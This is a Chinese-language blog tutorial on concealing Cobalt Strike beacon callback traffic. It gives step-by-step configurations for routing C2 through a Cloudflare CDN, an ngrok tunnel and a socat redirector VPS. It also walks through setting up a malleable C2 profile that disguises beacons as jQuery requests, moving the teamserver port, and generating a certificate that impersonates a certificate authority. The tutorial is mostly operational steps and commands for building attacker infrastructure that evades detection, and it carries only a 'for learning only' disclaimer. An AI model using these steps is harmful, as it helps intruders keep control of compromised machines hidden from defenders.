Cobaltstrike上线流量隐藏

深藏阁楼爱情的钟 2023-10-09 21:34 38阅读 0赞

## 此文章仅作为学习交流之用，切勿用于非法用途，因此造成的后果自行承担！与本文章作者无关！ ##

## 一、使用CDN隐藏IP ##

使用CDN内容分发网络的多节点分布式技术，通过 "加速、代理、缓存" 隐藏在后面的静态文件或服务；最终实现对外暴露的是CDN多节点的公网域名IP.从而实现隐藏IP和流量。

**1.配置Listener**

> Name:任意名称
> 
> payload：Beacon HTTP  
> HTTP Hosts: 你的域名  
> HTTP Hosts (Stager): 你的域名  
> Profile: Default  
> HTTP Port (C2)：2095  
> HTTP Port (Bind):  
> HTTP Host Header: 你的域名
> 
> save：保存
> 
> 2095端口：在vps防火墙规则中添加2095端口

![28e8f75ebba24fa1bcf3ffe923fbf5ca.png][]

**2.生成payload**

点击Attacks--Packages--windows Executable(S)

Listener：选择刚才保存的Listener

Output:选择Windows EXE

![64f27380e1244a52a15d59be5e290bca.png][]

将payload保存至本地主机，然后运行

Cobaltstrike上线成功

查看受控主机本地回接 C2 服务器的IP地址为 162.158.179.133（CDN节点IP），而不是我们自己服务器的真实IP

![2d6cebfc5c8f4433a5bddef68cfdba34.png][]

**3.流量分析**

使用wireshark分析流量 ，可以看到IP 是CDN的IP。

## 二、隧道转发代理 ##

利用内网穿透，将C2回连端口映射到其他公网地址，以达到测试程序通过其他公网地址进行回连，隐藏C2真实IP。

**1.注册ngrok账号**

[https://dashboard.ngrok.com/][https_dashboard.ngrok.com]

**2.下载相应版本客户端**

我的处理器架构是AMD64

![2e374644d86c48cfbf95aba24bf62b66.png][]

**3.解压配置文件**

安装教程详见官网

![baa82889f72043fbaaebf8af6c9cf97a.png][]![d161f0e1c0d24572ac8d8ad44b594c0f.png][]

![5444837edfa4430bab8ff45deef2d63c.png][]

**4.转发端口**

./ngrok tcp 10888

![d6def5895b3d447baeb6e8fe4e53dfca.png][]

**5.CS 配置 Listener**

![109016fdd44e4690ba5a328a96dcc2ba.png][]

**6.生成payload运行上线**

点击Attacks--Packages--windows Executable(S)

Listener：选择刚才保存的Listener

Output:选择Windows EXE

![207fd5bd63e74afca1e6e6f76e3d6242.png][]

将payload保存至本地主机，然后运行

Cobaltstrike上线成功

![83ee5e6cd43541cd915cb7dd28b62831.png][]

**7.流量分析**

使用wireshark分析流量 ,可以看到IP已经改变

![fc4b47d7962b492e830d0c3fde4d8389.png][]

**8.流量走向**

![92ff3ff0cf4942ff8847821350333a12.png][]

## **三、转发重定向** ##

**1.原理**

受害者只与那台做重定向的机器通信，重定向机器只会转发来自 beacon 的特定流量到C2控制端主机

具体实现：一台VPS作为转发机器，一台VPS作为 Teamserver

转发主机：xxx.xxx.xxx

Teamserver: xxx.xxx.xxx

**2.Socat转发**

socat是一款双向数据流通道工具。具有许多强大的功能：端口的连接、端口侦听、收发文件、传递shell、端口转发、端口扫描等

常用选项

> \-lh 将主机名添加到日志消息  
> \-v 详细数据流量，文本  
> \-x 详细数据流量，十六进制  
> \-d 增加详细程度（最多使用4次；建议使用2次）  
> \-lf <logfile> 记录到文件

socat -d -d -lh -v -lf /var/log/socat.log TCP4-LISTEN:10066,fork TCP4:C2服务器  
ip:C2服务器监听Port

> socat -d -d -lh -v -lf /var/log/socat.log TCP4-LISTEN:10066,fork TCP4:xxx.xxx.xxx:10088
> 
> 10066为跳板机的端口
> 
> 注意在防火墙规则添加以上端口

执行命令如果报错，需要安装socat

![5c31cea387394b6fb0112bda969cceaf.png][]

**3.创建侦听器**

IP填写跳板机IP

![64ca5b04865b47fa82d170b0d4841e03.png][]**4.生成payload上线**

点击Attacks--Packages--windows Executable(S)

Listener：选择刚才保存的Listener

Output:选择Windows EXE

![8c57498f683c4cb3aa514c4db804bddb.png][]

**5.运行上线**

可以看到上线的IP地址是跳板机IP，不是自己的IP地址，这样也可以达到隐藏IP的目的。

![e03f5d7f12bf4204af9ccaf44c66a4ea.png][]

##  ##

## CS流量隐藏 ##

文件下载地址

[https://github.com/threatexpress/malleable-c2/archive/refs/heads/master.zip][https_github.com_threatexpress_malleable-c2_archive_refs_heads_master.zip]

解压后

![57cb8863752e4975a339ec32654c6ebd.png][]

1.keystore的生成方法：

去 Cloudflare 的 SSL/TLS > 源服务器 创建证书，使用默认配置生成 pem 和 key

![f14167d564ba43529a4dde3b88e433cc.png][]

![f34955cf40954267a01d7b9a850e32ff.png][]

2. 生成证书和私钥并上传VPS

xxxxxxxxx.pem

xxxxxxxxx.key

![5ed0a6554264475997397376741e8710.png][]

文件上传cs目录下

![d9ca46e4c0fa491195c4d960743cf842.png][]

3.将创建的pem和key文件上传至云服务器。执行以下命令（www.xxx.com为申请的域名）

> openssl pkcs12 -export -in xxxx.pem -inkey xxxx.key -out 你的域名.p12 -name  
> 你的域名 -passout pass:123456

> keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore  
> 你的域名.store -srckeystore 你的域名.p12 -srcstoretype PKCS12 -srcstorepass  
> 123456 -alias 你的域名
> 
> \#文件内容修改为你的域名，是为了方便统一，不混淆

生成文件如下：

![c21d1b02c0564d64bd5f8e14dbbfa569.png][]

将生成的 keystore 文件放在云服务器CS的根目录下。  
然后对 CS4.3版本 Profile 进行修改。将 keystore 文件名称和密码填入 profile 文件中

需要修改的内容主要有七处：

1. https-certificate 模块中的 keystore 和 password ，修改后把注释去掉

![e1437552b79943fd9ef961632b197661.png][]

2.http-stager

修改 Client 配置中的 Host 和 Referer：

Host 和 Referer需要修改三处，操作相同

\#header 去掉注释

![44a7345b3d5444dd92fa5fc44624f28e.png][]

去掉注释，修改域名![a2fe4a12eb91498789e6fe2be9f29ec7.png][]

去掉注释，修改域名![d866e193473041d0b9d95ddc7b442cdf.png][]

3.修改 Server 请求头配置如下内容：

![e9e1dafa666844bf8bd40728fe284f0a.png][]

将：header "Content-Type" "application/javascript; charset=utf-8";

修改为：header "Content-Type" "application/\*; charset=utf-8；

\#server请求头同样有三处修改，配置相同，javascript修改为 \*

文件上传VPS

![351e07b928da46cc948933fbd6873b06.png][]

### 修改CDN配置 ###

在这个Profile中，我们请求的URI是以.js结尾的，Cloudflare作为一个CDN肯定要去缓存它，但这样的话请求就无法到达我们的CS服务器，自然也就无法上线了。

1.在缓存的配置中开启开发者模式

![a3cf8f6270b94f889541da73becfbed3.png][]

![1cad9bac42294435a758819f26950559.png][]

2.在规则的页面规则中添加缓存级别为绕过。

![c6ee4082e3e447f19e9bd0c4c5494436.png][]

![e0c331252f2245ceab1632354397b4b1.png][]

**测试上线**

**1.启动CS**

./teamserver 服务器IP xxxxx jquery-c2.4.4.profile

\#xxxx为登录密码

2.配置侦听器

![210ea0eff1e3486a9d275dc4fe1dea22.png][]

3.生成payload

![fffcf58bdc484f09b181db71b186a2f3.png][]

4.运行payload上线CS

5.打开Wireshark，分析流量

其他隐藏流量特征的方法：

1.修改CS端口

vim teamserver

默认端口50050

修改为其他端口

![2e58aad981c94f81a685a3b837d780be.png][]

2.生成新的证书

\#将cs自带的证书删除

生成证书：

keytool -keystore cobaltstrike1.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias xiaodi8.com -dname "CN=xiaodi8 e-Szigno Root CA, OU=e-Szigno CA, O=xiaodi8 Ltd., L=Budapest, S=HU, C=HU"

启用生效：

keytool -importkeystore -srckeystore cobaltstrike.store -destkeystore cobaltstrike.store -deststoretype pkcs12

![d8b5848704264cab927f5656522bd0f8.png][]

[28e8f75ebba24fa1bcf3ffe923fbf5ca.png]: https://img-blog.csdnimg.cn/28e8f75ebba24fa1bcf3ffe923fbf5ca.png
[64f27380e1244a52a15d59be5e290bca.png]: https://img-blog.csdnimg.cn/64f27380e1244a52a15d59be5e290bca.png
[2d6cebfc5c8f4433a5bddef68cfdba34.png]: https://img-blog.csdnimg.cn/2d6cebfc5c8f4433a5bddef68cfdba34.png
[https_dashboard.ngrok.com]: https://dashboard.ngrok.com/
[2e374644d86c48cfbf95aba24bf62b66.png]: https://img-blog.csdnimg.cn/2e374644d86c48cfbf95aba24bf62b66.png
[baa82889f72043fbaaebf8af6c9cf97a.png]: https://img-blog.csdnimg.cn/baa82889f72043fbaaebf8af6c9cf97a.png
[d161f0e1c0d24572ac8d8ad44b594c0f.png]: https://img-blog.csdnimg.cn/d161f0e1c0d24572ac8d8ad44b594c0f.png
[5444837edfa4430bab8ff45deef2d63c.png]: https://img-blog.csdnimg.cn/5444837edfa4430bab8ff45deef2d63c.png
[d6def5895b3d447baeb6e8fe4e53dfca.png]: https://img-blog.csdnimg.cn/d6def5895b3d447baeb6e8fe4e53dfca.png
[109016fdd44e4690ba5a328a96dcc2ba.png]: https://img-blog.csdnimg.cn/109016fdd44e4690ba5a328a96dcc2ba.png
[207fd5bd63e74afca1e6e6f76e3d6242.png]: https://img-blog.csdnimg.cn/207fd5bd63e74afca1e6e6f76e3d6242.png
[83ee5e6cd43541cd915cb7dd28b62831.png]: https://img-blog.csdnimg.cn/83ee5e6cd43541cd915cb7dd28b62831.png
[fc4b47d7962b492e830d0c3fde4d8389.png]: https://img-blog.csdnimg.cn/fc4b47d7962b492e830d0c3fde4d8389.png
[92ff3ff0cf4942ff8847821350333a12.png]: https://img-blog.csdnimg.cn/92ff3ff0cf4942ff8847821350333a12.png
[5c31cea387394b6fb0112bda969cceaf.png]: https://img-blog.csdnimg.cn/5c31cea387394b6fb0112bda969cceaf.png
[64ca5b04865b47fa82d170b0d4841e03.png]: https://img-blog.csdnimg.cn/64ca5b04865b47fa82d170b0d4841e03.png
[8c57498f683c4cb3aa514c4db804bddb.png]: https://img-blog.csdnimg.cn/8c57498f683c4cb3aa514c4db804bddb.png
[e03f5d7f12bf4204af9ccaf44c66a4ea.png]: https://img-blog.csdnimg.cn/e03f5d7f12bf4204af9ccaf44c66a4ea.png
[https_github.com_threatexpress_malleable-c2_archive_refs_heads_master.zip]: https://github.com/threatexpress/malleable-c2/archive/refs/heads/master.zip
[57cb8863752e4975a339ec32654c6ebd.png]: https://img-blog.csdnimg.cn/57cb8863752e4975a339ec32654c6ebd.png
[f14167d564ba43529a4dde3b88e433cc.png]: https://img-blog.csdnimg.cn/f14167d564ba43529a4dde3b88e433cc.png
[f34955cf40954267a01d7b9a850e32ff.png]: https://img-blog.csdnimg.cn/f34955cf40954267a01d7b9a850e32ff.png
[5ed0a6554264475997397376741e8710.png]: https://img-blog.csdnimg.cn/5ed0a6554264475997397376741e8710.png
[d9ca46e4c0fa491195c4d960743cf842.png]: https://img-blog.csdnimg.cn/d9ca46e4c0fa491195c4d960743cf842.png
[c21d1b02c0564d64bd5f8e14dbbfa569.png]: https://img-blog.csdnimg.cn/c21d1b02c0564d64bd5f8e14dbbfa569.png
[e1437552b79943fd9ef961632b197661.png]: https://img-blog.csdnimg.cn/e1437552b79943fd9ef961632b197661.png
[44a7345b3d5444dd92fa5fc44624f28e.png]: https://img-blog.csdnimg.cn/44a7345b3d5444dd92fa5fc44624f28e.png
[a2fe4a12eb91498789e6fe2be9f29ec7.png]: https://img-blog.csdnimg.cn/a2fe4a12eb91498789e6fe2be9f29ec7.png
[d866e193473041d0b9d95ddc7b442cdf.png]: https://img-blog.csdnimg.cn/d866e193473041d0b9d95ddc7b442cdf.png
[e9e1dafa666844bf8bd40728fe284f0a.png]: https://img-blog.csdnimg.cn/e9e1dafa666844bf8bd40728fe284f0a.png
[351e07b928da46cc948933fbd6873b06.png]: https://img-blog.csdnimg.cn/351e07b928da46cc948933fbd6873b06.png
[a3cf8f6270b94f889541da73becfbed3.png]: https://img-blog.csdnimg.cn/a3cf8f6270b94f889541da73becfbed3.png
[1cad9bac42294435a758819f26950559.png]: https://img-blog.csdnimg.cn/1cad9bac42294435a758819f26950559.png
[c6ee4082e3e447f19e9bd0c4c5494436.png]: https://img-blog.csdnimg.cn/c6ee4082e3e447f19e9bd0c4c5494436.png
[e0c331252f2245ceab1632354397b4b1.png]: https://img-blog.csdnimg.cn/e0c331252f2245ceab1632354397b4b1.png
[210ea0eff1e3486a9d275dc4fe1dea22.png]: https://img-blog.csdnimg.cn/210ea0eff1e3486a9d275dc4fe1dea22.png
[fffcf58bdc484f09b181db71b186a2f3.png]: https://img-blog.csdnimg.cn/fffcf58bdc484f09b181db71b186a2f3.png
[2e58aad981c94f81a685a3b837d780be.png]: https://img-blog.csdnimg.cn/2e58aad981c94f81a685a3b837d780be.png
[d8b5848704264cab927f5656522bd0f8.png]: https://img-blog.csdnimg.cn/d8b5848704264cab927f5656522bd0f8.png